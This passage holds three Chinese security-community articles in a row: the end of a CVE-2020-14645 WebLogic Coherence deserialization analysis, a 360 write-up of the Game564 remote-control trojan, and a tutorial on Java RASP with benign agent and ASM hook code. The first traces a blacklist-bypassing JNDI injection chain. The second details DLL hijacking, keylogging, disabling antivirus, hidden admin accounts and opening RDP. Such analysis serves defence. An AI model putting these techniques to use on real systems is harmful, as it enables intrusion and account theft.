`else` 部分，最后通过 `this.extractComplex(oTarget)` 进行最终触发漏洞点
`this.extractComplex(oTarget)` 中可以看到最后通过 `method.invoke()` 进行反射执行，其中 `oTarget`
和 `aoParam` 都是可控的。
我们跟进190的 `findMethod()` 方法，在 475 行需要使 `fExactMatch` 为 `true`，`fStatic` 为
`false` 才可让传入 `clz` 的可以获取任意方法。`fStatic` 是可控的，而 `fExactMatch` 默认为`true` ，只要没进入
`for` 循环即可保持 `true` 不变，使 `cParams` 为空即 `aclzParam` 为空的 `Class` 数组即可，此处
`aclzParam` 从 `getClassArray()` 方法获取。
在 `getClasssArray` 中通过获取输入参数的值对应的 Class 进行处理。
由于传入的 `aoParam` 是一个空的 `Object[]`，所以获取对应的 `Class` 也为空的 `Class[]`，跟入
`isPropertyExtractor()` 中进行进行获取可以看到将 `this._fMethod` 获取相反的值。
由于 `m_fMethod` 被 `transient` 修饰，不会被序列化，通过分析 `m_fMethod` 赋值过程，可发现在 `init()`
时会获取sCName，并且通过判定是否为 `()` 结尾来进行赋值。
由于参数为 `this` 的原因，导致`getValueExtractorCanonicalName()`方法返回的都是 `null`。
跟入 `getValueExtractorCanonicalName()`函数，最后是通过调用
`computeValuExtractorCanonicalName` 进行处理。
跟入 `computeValuExtractorCanonicalName()` 之后，如果 `aoParam`不为 `null` 且数组长度大于 0
就会返回 `null`，由于 `aoParam` 必须为 `null` ，因此我们调用的方法必须是无参的。接着如果方法名 `sName` 不以 `()`
结尾，就会直接返回方法名。否则会判断方法名是否以 `VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES`
数组中的前缀开头，如果是的话就会截取掉并返回。
回到 `extractComplex()` 方法中，在 `if` 条件里会对上述返回的方法名做首字母大写处理，然后拼接
`BEAN_ACCESSOR_PREFIXES` 数组中的前缀，判断 `clzTarget` 类中是否含有拼接后的方法。这里可以看到我们只能调用任意类中的
`get` 和 `is` 开头的无参方法。也就解释了为什么 `poc` 会想到利用 `JNDI` 来进行远程动态类加载。
跟进 `method.invoke()` 方法，会直接跳转至 `JdbcRowSetImpl.getDatabaseMetaData()`。
由于`JdbcRowSetImpl.getDatabaseMetaData()`，调用了 `this.connect()`，可以看到在 326 行执行了
`lookup` 操作，触发了漏洞。
至此，跟进 `getDataSourceName()`，可看到调用了可控制的 `dataSource`。
## 总结
此漏洞主要以绕过黑名单的形式，利用 `UniversalExtractor` 任意调用`get`、`is`方法导致 JNDI 注入，由此拓展
CVE-2020-14625。
## 参考
* [WebLogic coherence UniversalExtractor 反序列化 (CVE-2020-14645) 漏洞分析](https://paper.seebug.org/1280/#cve-2020-14645)
* <https://www.oracle.com/security-alerts/cpujul2020.html> | 社区文章 |
# 披合法外衣的远控木马——Game564深入分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
近期360白名单分析组多次捕获到了假冒正规游戏公司的远控盗号木马，此类木马程序最新变种借助搜索引擎在假冒的游戏下载站中发布,该木马在与杀毒的对抗中不断升级和更新，采用劫持正规软件厂商文件的“白+黑”技术手段，还专门购买使用了某些公司的数字签名，具有较强的隐蔽性。
**对此360杀毒和安全卫士第一时间进行了拦截与查杀。**
**一、木马伪装**
Game564木马利用了国内知名的酷狗音乐后台服务主程序TsiService.exe自动加载active_desktop_render.dll的特点，把木马文件与TsiService.exe组装在一起进行传播，也就是俗称的“白+黑”劫持。
通过对比我们发现了两个文件有相同函数名的调用接口,但是每个函数功能完全不同：
为了达到更好的迷惑效果，该木马还使用了名为Jinan Hongyi Ntwork Technology
co的数字签名，而酷狗软件真正的数字签名是GuangZhou KuGou Computer Technology Co.：
**二、 木马解密**
TsiService.exe启动之后调用SetDesktopMonitorHook就会读同目录下文件Win.dat解密出木马代码，加载到内存执行。
为了避免杀毒的查杀，木马程序隐藏在TsiService.exe内存之中。木马本身的行为看起来就是TsiService.exe的行为了。
**三、 木马的主要功能**
木马在内存里加载，连接c&c地址[www.game564.com](http://www.game564.com/)。
**之后会单独开启几个线程，实现下面几个功能：** ****
1、获取当前机器的操作系统，平台类型等关键信息，并且对外通讯，发送该信息。
2、遍历查找主流杀毒软件，试图关闭杀毒进程防止被查杀：
3、遍历查找游戏进程crossfire.exe，找到该进程之后就会注入该进程，记录键盘消息，并且对外通讯，实现盗号功能。
4、接受远程指令 主要的功能包括
1、增加建立超级隐藏用户账户guest用户，管理员权限，
2、开启3389远程登录端口
3、远程自动更新病毒文件
4、遍历查找本地计算机的所有帐号信息，建立终端服务会话
5、木马为了保证自身存活会替换系统关键服务，重启之后能够以系统服务的方式启动 ：
木马的所有行为如下所示：
木马涉及的域名信息（www.game564.com）因为阿里云的隐私保护，无法继续追查。
鉴于该木马程序伪装成正规合法游戏公司的程序，并且有正规的数字签名，通过劫持合法文件注入内存加载等方式，据有较强的隐蔽性，根据全球在线杀毒扫描平台VirusTotal检测，只有四款杀毒软件能够第一时间查杀该木马，360杀毒和安全卫士是目前国内唯一能够全面拦截查杀Game564木马的安全软件。
**360安全中心提醒广大网友，下载软件应通过安全可靠的渠道，不可轻信搜索结果，同时应开启专业安全软件防护，以免木马趁虚而入，危及自身账号和数据安全。** | 社区文章 |
**作者：Lucifaer
作者博客：<https://lucifaer.com/2019/09/25/%E6%B5%85%E8%B0%88RASP/>**
本篇将近一个月对rasp的研究成果进行汇总，具体讨论RASP的优劣势以及一些个人的理解和看法。
### 0x01 概述
RASP是`Runtime application self-protection`的缩写，中文翻译为应用程序运行时防护，其与WAF等传统安全防护措施的主要区别于其防护层级更加底层——在功能调用前或调用时能获取访问到当前方法的参数等信息，根据这些信息来判定是否安全。
RASP与传统的基于流量监测的安全防护产品来说，优势点在于
**可以忽略各种绕过流量检测的攻击方式（如分段传输，编码等），只关注功能运行时的传参是否会产生安全威胁。简单来说，RASP不看过程，只看具体参数导致方法实现时是否会产生安全威胁。**
简单类比一下，RASP就相当于应用程序的主防，其判断是更加精准的。
虽然RASP有很多优势，但是由于其本身的实现也导致了很多问题使其难以推广：
* 侵入性过大。对于JAVA的RASP来说，它的实现方式是通过`Instrumentation`编写一个agent，在agent中加入hook点，当程序运行流程到了hook点时，将检测流程插入到字节码文件中，统一进入JVM中执行。在这里如果RASP本身出现了什么问题的话，将会直接对业务造成影响。
* 效率问题。由于需要将检测流程插入到字节码文件中，这样会在运行时产生大量不属于业务流程本身的逻辑，这样会增加业务执行的流程，对业务效率造成一定的影响。
* 开发问题。针对不同的语言，RASP底层的实现是不一样的，都需要重新基于语言特性进行专门的开发，开发的压力很大。
* 部署问题。以Java RASP来举例子，Java RASP有两种部署方式，一种需要在启动前指定agent的位置，另一种可以在运行时用attach的方式进行部署，但是他们都存在不同的问题。
* 在启动前指定agent的位置就以为着在进行部署时需要重启服务，会影响到正常的业务。
* 在运行时进行attach部署时，当后期RASP进行版本迭代重新attach时，会产生重复添加代码的情况（由于JVM本身机制的问题，基本无法将修改的字节码重新转换到运行时的字节码上，所以没办法动态添加代理解决该问题）。
目前RASP的主方向还是Java RASP，受益于JVMTI，现在的Java RASP是很好编写的，效果也是比较错的。同时也受限于JVMTI，Java
RASP的技术栈受到了一定的限制，很难在具体实现上更进一步，只能在hook点和其他功能上进行完善。
跳出乙方视角来审视RASP，其最好的实践场景还是在 **甲方企业内部**
，从某个角度来说RASP本来就是高度侵入业务方代码的一种防护措施，在纷繁复杂的业务场景中，只有甲方根据业务进行定制化开发才能达到RASP的最高价值，如果乙方来做很容易变成“纸上谈兵”的产品。
下面将以Java RASP为核心对RASP技术进行详细的阐述，并用跟踪源码的方式来解析百度OpenRASP的具体实现方式。
### 0x02 Java RASP技术栈
Java RASP核心技术栈：
* `Instrumentation`通过JVMTI实现的Agent，负责获取并返回当前JVM虚拟机的状态或转发控制命令。
* 字节码操作框架，用于修改字节码（如ASM、Javassist等）
其余技术栈：
* Log4j日志记录
* 插件系统（主要是用于加载检测规则）
* 数据存储及转发（转发到soc平台或自动封禁平台进行封禁） 等
### 0x03 Java RASP实现方式
编写Java RASP主要分为两部分：
* `Java Agent`的编写
* 利用字节码操作框架（以下都以ASM来举例）完成相应hook操作
#### 3.1 Java Agent简介
在Java SE
5及后续版本中，开发者可以在一个普通Java程序运行时，通过`-javaagent`参数指定一个特定的`jar`文件（该文件包含`Instrumentation`代理）来启动`Instrumentation`的代理程序，这个代理程序可以使开发者获取并访问JVM运行时的字节码，并提供了对字节码进行编辑的操作，这就意味着开发者可以将自己的代码注入，在运行时完成相应的操作。在Java
SE 6后又对改功能进行了增强，允许开发者以用Java Tool
API中的attach的方式在程序运行中动态的设置代理类，以达到`Instrumentation`的目的。而这两个特性也是编写Java RASP的关键。
`javaagent`提供了两种模式：
* `premain`：允许在main开始前修改字节码，也就是在 **大部分类加载前** 对字节码进行修改。
* `agentmain`：允许在main执行后通过`com.sun.tools.attach`的Attach API attach到程序运行时中，通过`retransform`的方式修改字节码，也就是在 **类加载后通过类重新转换（定义）的方式在方法体中** 对字节码进行修改， **其本质还是在类加载前对字节码进行修改** 。
这两种模式除了在`main`开始前后调用的区别外，还有很多细枝末节的区别，这一点就导致了两种模式的泛用性不同：
* agent运作模式不同：`premain`相当于在main前类加载时进行字节码修改，`agentmain`是main后在类调用前通过重新转换类完成字节码修改。可以发现他们的本质都是在类加载前完成的字节码修改，但是`premain`可以直接修改或者通过`redefined`进行类重定义，而`agentmian`必须通过`retransform`进行类重新转换才能完成字节码修改操作。
* 部署方式不同：由于agent运作模式的不同，所以才导致`premain`需要在程序启动前指定agent，而`agentmain`需要通过Attach API进行attach。而且由于都是在类加载前进行字节码的修改，所以 **如果`premain`模式的hook进行了更新，就只能重启服务器，而`agentmain`模式的hook如果进行了更新的话，需要重新attach**。
因为两种模式都存在一定的限制，所以在实际运用中都会有相应的问题：
* `premain`：每次修改需要重启服务。
* `agentmain`：由于attach的运行时中的进程，因JVM的进程保护机制，禁止在程序运行时对运行时的类进行自由的修改，具体的限制如下：
* 父类应为同一个类
* 实现的接口数要相同
* 类访问符要一致
* 字段数和字段名必须一致
* 新增的方法必须是`private static/final`的
* 可是删除修改方法
这样的限制是没有办法用代理模式的思路来避免重复插入的。同时为了实现增加hook点的操作我们必须将自己的检测字节码插入，所以只能修改方法体。这样一来如果使用`agentmain`进行重复的attach，会造成将相同代码多次插入的操作，会产生重复告警，极大的增加业务压力。
单单针对`agentmain`所出现的重复插入的问题，有没有方式能直接对运行时的java类做字节码插入呢？其实是有的，但是由于各种原因，其会较大的增加业务压力所以这里不过多叙述，想要了解详情的读者，可以通过搜索`Hotswap`和`DCE
VM`来了解两种不同的热部署方式。
#### 3.2 ASM简介
ASM是一个Java字节码操作框架，它主要是基于访问者模式对字节码完成相应的增删改操作。想要深入的理解ASM可以去仔细阅读[ASM的官方文档](https://asm.ow2.io/asm4-guide.pdf)，这里只是简单的介绍一下ASM的用法。
在开始讲ASM用法前，需要简单的介绍一下访问者模式，只有清楚的访问者模式，才能理解ASM为什么要这么写。
##### 3.2.1 访问者模式
在面向对象编程和软件工程中，访问者模式是一种把数据结构和操作这个数据结构的算法分开的模式。这种分离能方便的添加新的操作而无需更改数据结构。
实质上，访问者允许一个类族添加新的虚函数而不修改类本身。但是，创建一个访问者类可以实现虚函数所有的特性。访问者接收实例引用作为输入，使用双重调用实现这个目标。
上面说的的比较笼统，直接用代码来说话：
package com.lucifaer.ASMDemo;
interface Person {
public void accept(Visitor v) throws InterruptedException;
}
class Play implements Person{
@Override
public void accept(Visitor v) throws InterruptedException {
v.visit(this);
}
public void play() throws InterruptedException {
Thread.sleep(5000);
System.out.println("This is Person's Play!");
}
}
interface Visitor {
public void visit(Play p) throws InterruptedException;
}
class PersonVisitor implements Visitor {
@Override
public void visit(Play p) throws InterruptedException {
System.out.println("In Visitor!");
long start_time = System.currentTimeMillis();
p.play();
long end_time = System.currentTimeMillis();
System.out.println("End Visitor");
System.out.println("Spend time: " + (end_time-start_time));
}
}
public class VisiterMod {
public static Person p = new Play();
public static void main(String[] args) throws InterruptedException {
PersonVisitor pv = new PersonVisitor();
p.accept(pv);
}
}
在这个例子中做了以下的工作:
1. 添加`void accept(Visitor v)`到`Person`类中
2. 创建visitor基类，基类中包含元素类的`visit()`方法
3. 创建visitor派生类，实现基类对`Person`的`Play`的操作
4. 使用者创建visitor对象，调用元素的accept方法并传递visitor实例作为参数
可以看到在没有改变数据结构的情况下只是实现了Visitor类就可以在visit方法中自行加入代码实现自定义逻辑，而不会影响到原本Person接口的实现类。
结果为：
##### 3.2.2 ASM的访问者模式
在ASM中的访问者模式中，`ClassReader`类和`MethodNode`类都是被访问的类，访问者接口包括：`ClassVistor`、`AnnotationVisitor`、`FieldVistor`和`MethodVistor`。访问者接口的方法集以及优先顺序可以在下图中进行查询：
通过该图可以清晰的看出调用顺序，对于新手来说可以简单的理解为下面这样的调用顺序：
* 需要访问类，所以要声明`ClassReader`，来“获取”类。
* 如果需要对类中的内容进行修改，就需要声明`ClassWriter`它是继承于`ClassReader`的。
* 然后实例化“访问者”`ClassVisitor`来进行类访问，至此就以“访问者”的身份进入了类，你可以进行以下工作：
* 如果需要访问注解，则实例化`AnnotationVisitor`
* 如果需要访问参数，则实例化`FieldVisitor`
* 如果需要访问方法，则实例化`MethodVisitro`
每种访问其内部的访问顺序可以在图上自行了解。 _`ClassReader`调用`accept`方法 _ 完成整个调用流程
#### 3.3 实际例子
在具体展示两种模式的例子前，先补充一下agent的运行条件，无论用那种模式写出来的agent，都需要将agent打成jar包，同时在jar包中应用`META-INF/MANIFEST.MF`中指定agent的相关信息，下面是个例子：
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.lucifaer.javaagentLearning.agent.PreMainTranceAgent
Agent-Class: com.lucifaer.javaagentLearning.agent.AgentMainTranceAgent
`Premain-Class`和`Agent-Class`是用来配置不同模式的agent实现类，`Can-Redefine-Classes`和`Can-Retransform-Classes`是用来指示是否允许进行类重定义和类重新转换，这两个参数在一定的情况下决定了是否能在agent中利用ASM对加载的类进行修改。
##### 3.3.1 premain模式例子
下面用园长的一个demo来展示如何利用`premain`方式进行表达式监控。完整代码可以看[这里](https://github.com/anbai-inc/javaweb-expression)，也可以看我[整理后的代码](https://github.com/Lucifaer/head_first_javarasp/tree/el_expression_hook)
public class Agent implements Opcodes {
private static List<MethodHookDesc> expClassList = new ArrayList<MethodHookDesc>();
static {
expClassList.add(new MethodHookDesc("org.mvel2.MVELInterpretedRuntime", "parse",
"()Ljava/lang/Object;"));
expClassList.add(new MethodHookDesc("ognl.Ognl", "parseExpression",
"(Ljava/lang/String;)Ljava/lang/Object;"));
expClassList.add(new MethodHookDesc("org.springframework.expression.spel.standard.SpelExpression", "<init>",
"(Ljava/lang/String;Lorg/springframework/expression/spel/ast/SpelNodeImpl;" +
"Lorg/springframework/expression/spel/SpelParserConfiguration;)V"));
}
public static void premain(String agentArgs, Instrumentation instrumentation) {
System.out.println("agentArgs : " + agentArgs);
instrumentation.addTransformer(new ClassFileTransformer() {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
final String class_name = className.replace("/", ".");
for (final MethodHookDesc methodHookDesc : expClassList) {
if (methodHookDesc.getHookClassName().equals(class_name)) {
final ClassReader classReader = new ClassReader(classfileBuffer);
ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_MAXS);
final int api = ASM5;
try {
ClassVisitor classVisitor = new ClassVisitor(api, classWriter) {
@Override
public MethodVisitor visitMethod(int i, String s, String s1, String s2, String[] strings) {
final MethodVisitor methodVisitor = super.visitMethod(i, s, s1, s2, strings);
if (methodHookDesc.getHookMethodName().equals(s) && methodHookDesc.getHookMethodArgTypeDesc().equals(s1)) {
return new MethodVisitor(api, methodVisitor) {
@Override
public void visitCode() {
if ("ognl.Ognl".equals(class_name)) {
methodVisitor.visitVarInsn(Opcodes.ALOAD, 0);
}else {
methodVisitor.visitVarInsn(Opcodes.ALOAD, 1);
}
methodVisitor.visitMethodInsn(
Opcodes.INVOKESTATIC, Agent.class.getName().replace(".", "/"), "expression", "(Ljava/lang/String;)V", false
);
}
};
}
return methodVisitor;
}
};
classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES);
classfileBuffer = classWriter.toByteArray();
}catch (Throwable t) {
t.printStackTrace();
}
}
}
return classfileBuffer;
}
});
}
public static void expression(String exp_demo) {
System.err.println("---------------------------------EXP-----------------------------------------");
System.err.println(exp_demo);
System.err.println("---------------------------------调用链---------------------------------------");
StackTraceElement[] elements = Thread.currentThread().getStackTrace();
for (StackTraceElement element : elements) {
System.err.println(element);
}
System.err.println("-----------------------------------------------------------------------------");
}
}
这里采用的是流式写法，没有将其中的`ClassFileTransformer`抽出来。
整个流程简化如下：
* 根据`className`来判断当前agent拦截的类是否是需要hook的类，如果是，则直接进入ASM修改流程。
* 在`ClassVisitor`中调用`visitMethod`方法去访问hook类中的每个方法，根据方法名判断当前的方法是否是需要hook的方法，如果是，则调用`visitCode`方法在访问具体代码时获取方法的相关参数（这里是获取表达式），并在执行逻辑中插入`expression`方法的调用，在运行时将执行流经过新添加的方法，就可以打印出表达式以及调用链了。
效果如下：
##### 3.3.2 agentmain模式例子
下面用一个我自己写的例子来说一下如何利用agentmain模式增加执行流。
> AgentMain.java
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
// for (Class clazz : inst.getAllLoadedClasses()) {
// System.out.println(clazz.getName());
// }
CustomClassTransformer transformer = new CustomClassTransformer(inst);
transformer.retransform();
}
}
> CustomClassTransformer.java
public class CustomClassTransformer implements ClassFileTransformer {
private Instrumentation inst;
public CustomClassTransformer(Instrumentation inst) {
this.inst = inst;
inst.addTransformer(this, true);
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("In Transform");
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM5, cw) {
@Override
public MethodVisitor visitMethod(int i, String s, String s1, String s2, String[] strings) {
// return super.visitMethod(i, s, s1, s2, strings);
final MethodVisitor mv = super.visitMethod(i, s, s1, s2, strings);
if ("say".equals(s)) {
return new MethodVisitor(Opcodes.ASM5, mv) {
@Override
public void visitCode() {
super.visitCode();
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
mv.visitLdcInsn("CALL " + "method");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
}
};
}
return mv;
}
};
cr.accept(cv, ClassReader.EXPAND_FRAMES);
classfileBuffer = cw.toByteArray();
return classfileBuffer;
}
public void retransform() throws UnmodifiableClassException {
LinkedList<Class> retransformClasses = new LinkedList<Class>();
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class clazz : loadedClasses) {
if ("com.lucifaer.test_agentmain.TestAgentMain".equals(clazz.getName())) {
if (inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {
inst.retransformClasses(clazz);
}
}
}
}
}
可以看到`agentmain`模式和`premain`的大致写法是没有区别的，最大的区别在于
**如果想要利用agentmain模式来对运行后的类进行修改，需要利用Instrumentation.retransformClasses方法来对需要修改的类进行重新转换**
。
想要`agentmain`工作还需要编写一个方法来利用Attach API来动态启动agent：
public class AttachAgent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) {
if (vmd.displayName().endsWith("TestAgentMain")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("/Users/Lucifaer/Dropbox/Code/Java/agentmain_test/out/artifacts/agentmain_test_jar/agentmain_test.jar", "Attach!");
System.out.println("ok");
virtualMachine.detach();
}
}
}
}
效果如下：
##### 3.3.3 agentmain坑点
这里有一个坑点也导致没有办法在`agentmain`模式下动态给一个类添加一个新的方法，如果尝试添加一个新的方法就会报错。下面是我编写利用`agentmain`模式尝试给类动态增加一个方法的代码：
public class DynamicClassTransformer implements ClassFileTransformer {
private Instrumentation inst;
private String name;
private String descriptor;
private String[] exceptions;
public DynamicClassTransformer(Instrumentation inst) {
this.inst = inst;
inst.addTransformer(this, true);
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("In transformer");
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM5, cw) {
@Override
public MethodVisitor visitMethod(int i, String s, String s1, String s2, String[] strings) {
final MethodVisitor mv = super.visitMethod(i, s, s1, s2, strings);
if ("say".equals(s)) {
name = s;
descriptor = s1;
exceptions = strings;
}
return mv;
}
};
// ClassVisitor cv = new DynamicClassVisitor(Opcodes.ASM5, cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
MethodVisitor mv;
mv = cw.visitMethod(Opcodes.ACC_PUBLIC, "say2", "()V", null, null);
mv.visitCode();
Label l0 = new Label();
mv.visitLabel(l0);
mv.visitLineNumber(23, l0);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");
mv.visitLdcInsn("2");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
Label l1 = new Label();
mv.visitLabel(l1);
mv.visitLineNumber(24, l1);
mv.visitInsn(Opcodes.RETURN);
Label l2 = new Label();
mv.visitLabel(l2);
mv.visitLocalVariable("this", "Lcom/lucifaer/test_agentmain/TestAgentMain;", null, l0, l2, 0);
mv.visitMaxs(2, 1);
mv.visitEnd();
classfileBuffer = cw.toByteArray();
FileOutputStream fos = null;
try {
fos = new FileOutputStream("agent.class");
} catch (FileNotFoundException e) {
e.printStackTrace();
}
try {
assert fos != null;
fos.write(classfileBuffer);
} catch (IOException e) {
e.printStackTrace();
}
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
return classfileBuffer;
}
public void retransform() throws UnmodifiableClassException {
LinkedList<Class> retransformClasses = new LinkedList<Class>();
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class clazz : loadedClasses) {
if ("com.lucifaer.test_agentmain.TestAgentMain".equals(clazz.getName())) {
if (inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {
inst.retransformClasses(clazz);
}
}
}
}
}
结果如下：
这里尝试添加一个public方法是直接失败的，原因就在于原生的JVM在运行时时为了程序的线程及逻辑安全，禁止向运行时的类添加新的public方法并重新定义该类。JVM默认规则是只能修改方法体中的逻辑，所以这就意味着会有这么一个问题：
**当多次attach时，代码会重复插入** ，这样是不符合热部署逻辑的。
当然目前市面上也有一定的解决方案，如[JRebel](https://zeroturnaround.com/software/jrebel/)和[Spring-Loaded](https://github.com/spring-projects/spring-loaded)，它们的实现方式是在`method
call`和`field access`的方法做了一层代理，而这一点对于RASP来说，无疑是加重了部署难度，反而与热部署简单快捷的方式背道而驰。
### 0x04 OpenRASP的具体实现方式
以上大致将Java RASP的相关内容介绍完毕后，这部分来深入了解一下OpenRASP的Java RASP这一部分是怎么写的，执行流是如何。
#### 4.1 OpenRASP执行流
OpenRASP的执行流很简单主要分为以下几部分：
1. agent初始化
2. V8引擎初始化
3. 日志配置模块初始化
4. 插件模块初始化
5. hook点管理模块初始化
6. 字节码转换模块初始化
其中具体实现管理hook点以及添加hook点的部分主要集中于5、6这一部分，这里同样是我们最为关注的地方。
#### 4.2 初始化流程
在这一部分不会对OpenRASP流程进行一步步的跟踪，只会将其中较为关键的点进行分析。
##### 4.2.1 agent初始化
通过前面几节的介绍，其实是可以发现RASP类的编写共同点的——其入口就是`premain`或`agentmain`方法，这些都会在`META-INFO/MANIFEST.MF`中标明：
所以其入口就是`com.baidu.openrasp.Agent`：
这里在模块加载前做了一个非常重要的操作—— **将Java agent的jar包加入到BootStrap class path中**
，如果不进行特殊设定，则会默认将jar包加入到System class
path中，对于研究过类加载机制的朋友们来说一定不陌生，这样做得好处就是可以将jar包加到`BootStrapClassLoader`所加载的路径中，在类加载时可以保证加载顺序位于最顶层，这样就可以不受到类加载顺序的限制，拦截拦截系统类。
当将jar包添加进BootStrap class path后，就是完成模块加载的初始化流程中，这里会根据指定的jar包来实例化模块加载的主流程：
这里的ENGINE_JAR是`rasp-engine.jar`，也就是源码中的engine模块。这里根据配置文件中的数值通过反射的方式实例化相应的主流程类：
然后就可以一目了然的看到模块初始化主流程了：
在主流程中，我们重点关注红框部分，这一部分完成了hook点管理模块初始化，以及字节码转换模块的初始化。
##### 4.2.2 hook点管理模块初始化
hook点管理的初始化过程非常简单，就是遍历`com.baidu.openrasp.plugin.checkerCheckParameter`的Type，将其中的元素添加进枚举映射中：
在Type这个枚举类型中，定义了不同类型的攻击类型所对应的检测方式：
##### 4.2.3 字节码转换模块初始化
字节码转换模块是整个Java
RASP的重中之重，OpenRASP是使用的Javassist来操作字节码的，其大致的写法和ASM并无区别，接下来一步步跟进看一下。
在`com.baidu.openrasp.EngineBoot#initTransformer`中完成了字节码转换模块的初始化：
这里可以看到在实例化了`ClassFileTransformer`实现的`CustomClassTransformer`后，调用了一个自己写的`retransform`方法，在这个方法中对`Instrumentation`已加载的所有类进行遍历，将其进行类的重新转换：
这里主要是为了支持`agentmain`模式对类进行重新转换。
在解释完了`retranform`后，我们来整体看一下OpenRASP是如何添加hook点并完成相应hook流程的。这一部分是在`com.baidu.openrasp.transformer#CustomClassTransformer`中：
我们都清楚`inst.addTransformer`的功能是在类加载时做拦截，对输入的类的字节码进行修改，也就是具体的检测流程插入都在这一部分。但是OpenRASP的hook点是在哪里加入的呢？其实就是在`addAnnotationHook`这里完成的：
这里会到`com.baidu.openrasp.hook`下对所有的类进行扫描，将所有由`HookAnnotation`注解的类全部加入到`HashSet`中，例如OgnlHook：
至此就完成了字节码转换模块的初始化。
#### 4.3 类加载拦截流程
前文已经介绍过RASP的具体拦截流程是在`ClassFileTransformer#transform`中完成的，在OpenRASP中则是在`CustomClassTransformer#transform`中完成的：
可以看到先检测当前拦截类是否为已经注册的需要hook的类，如果是hook的类则直接利用javassist的方式创建`ctClass`，想要具体了解javassist的使用方式的同学，可以直接看javassist的官方文档，这里不再过多表述。
可以看到在创建完`ctClass`后，直接调用了当前hook的`transformClass`方法。由于接下来涉及到跟进具体的hook处理类中，所以接下来的分析是以跟进`OgnlHook`这个hook来跟进的。
`OgnlHook`是继承于`AbstractClassHook`的，在`AbstractClassHook`中预定义了很多虚方法，同时也提供了很多通用的方法，`transformClass`方法就是在这里定义的：
这里直接调用了每个具体hook类的`hookMethod`方法来执行具体的逻辑，值得注意的是这里的最终返回也是一个`byte`数组，具体的流程和ASM并无两样。跟进`OgnlHook#hookMethod`：
这里首先生成需要插入到代码中的字节码，然后调用其自己写的`inserAfter`来将字节码插入到hook点的后面（其实就是决定是插在hook方法最顶部，还是return前的最后一行，这决定了调用顺序）。
可以简单的看一下插入的字节码是如何生成的：
很简单，就是插入一段代码，这段代码将反射实例化当前hook类，调用`methodName`所指定的方法，并将`paramString`所指定的参数传入该方法中。所以接下来看一下`OgnlHook#checkOgnlExpression`方法所执行的逻辑：
判断获取的表达式是不是`String`类型，如果是，将表达式放入`HashMap`中，然后调用`HookHandler.doCheck`方法：
在这里说一句题外话，可以看到在这里的逻辑设定是当服务器cpu使用率超过90%时，禁用全部的hook点。这也是RASP要思考解决的一个问题，当负载过高时，一定要给业务让步，也就一定要停止防护功能，不然会引发oom，直接把业务搞崩。所以如何尽量的减少资源占用也是RASP需要解决的一个大问题。
这里就是检测的主要逻辑，主要完成：
* 检测计时
* 获取检测结果
* 根据检测结果判断是否要进行拦截
具体看一下如何获取的检测结果：
这里的`checkers`是在hook点管理模块初始化时设置的枚举类映射，所以这里调用的是：
`V8Checker().check()`方法，继承树如下：
所以具体的实现是在`AbstractChecker#check`中：
也就是`V8Checker#checkParam`：
这里就一目了然了，是调用JS插件来完成检测的：
easygame，就是在JS插件（其实就是个js文件）中寻找相应的规则进行规则匹配。这个js文件在`OpenRASP根目录/plugins/official/plugin.js`中：
如果符合匹配规则则返回block，完成攻击拦截。
至此整个拦截流程分析完毕。
#### 4.4 小结
从上面的分析中可以看出OpenRASP的实现方式还是比较简单的，其中非常有创新点的是利用js来编写规则，通过V8来执行js。
**利用js来编写规则的好处是更加方便热部署以及规则的通用性，同时减少了为不同语言重复制定相同规则的问题** 。
同样，OpenRASP也不免存在RASP本身存在的一些缺陷，这些缺陷将在“缺陷思考”这一节中具体的描述。
### 0x05 缺陷思考
虽然Java RASP是以Java
Instrumentation的工作方式工作在JVM层，可以通过hook引发漏洞的关键函数，在关键函数前添加安全检查，这看上去像是一个“all in
one”的通用解，但是其实存在很多问题。
#### 5.1 “通用解”的通用问题
**所有“通用解”的最大问题都出现在通用性上**
。在真实场景中RASP的应用环境比其在实验环境中复杂的多，如果想要一个RASP真正的运行在业务上就需要从乙方和甲方的角度双向思考问题，以下是我想到的一些问题，可能有些偏颇，但是还是希望能给一些参考性的意见：
##### 5.1.1 语言环境的通配适用性
企业内部的web应用纷繁复杂，有用Java编写的应用，有用Go编写的，还有用PHP、Python写的等等...，那么如何对这些不同语言所构建的应用程序都实现相应的防护？
